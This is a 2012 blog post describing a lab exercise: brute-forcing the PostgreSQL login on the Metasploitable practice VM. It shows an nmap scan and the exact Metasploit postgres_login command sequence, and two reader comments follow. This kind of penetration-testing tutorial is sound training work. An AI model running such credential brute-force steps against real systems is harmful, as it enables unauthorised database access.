Sunday 15 January 2012

Brute Forcing Postgres

After brute forcing MySQL I wanted to brute force the next service, this time PostgreSQL. Again the output of the nmap scan against Metasploitable:

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.1

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13?
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1



This time, I'm just using Metasploit to brute force:

#msfconsole
#search postgresql
#use auxiliary/scanner/postgres/postgres_login
#show options
#set RHOSTS <Target IP>
#set VERBOSE false
#exploit

Metasploit ships already with a default user and password list for brute forcing, so we don't have to specify other lists. If you wan't to use another user- and password lists, see my post about MySQL Brute Forcing. There I'm explaining where to get and how to use user- and password lists within Metasploit and THC Hydra.


There is no postgresql-client available in BackTrack, so we have to install it to check the finding:

#apt-get install postgresql-client

Then psql can be started:


Seems like a default postgres installation with no data inside. 

2 comments:

  1. Interesting, though user name 'postgres' and passwd 'postgres' is one very common combination for testing purposes.

    ReplyDelete
  2. Of course it is. If this brute force attempt didn't succeed I would have tried more complex word lists, as I did explain in my MySQL Post. This post was just to show how brute forcing can be done.

    ReplyDelete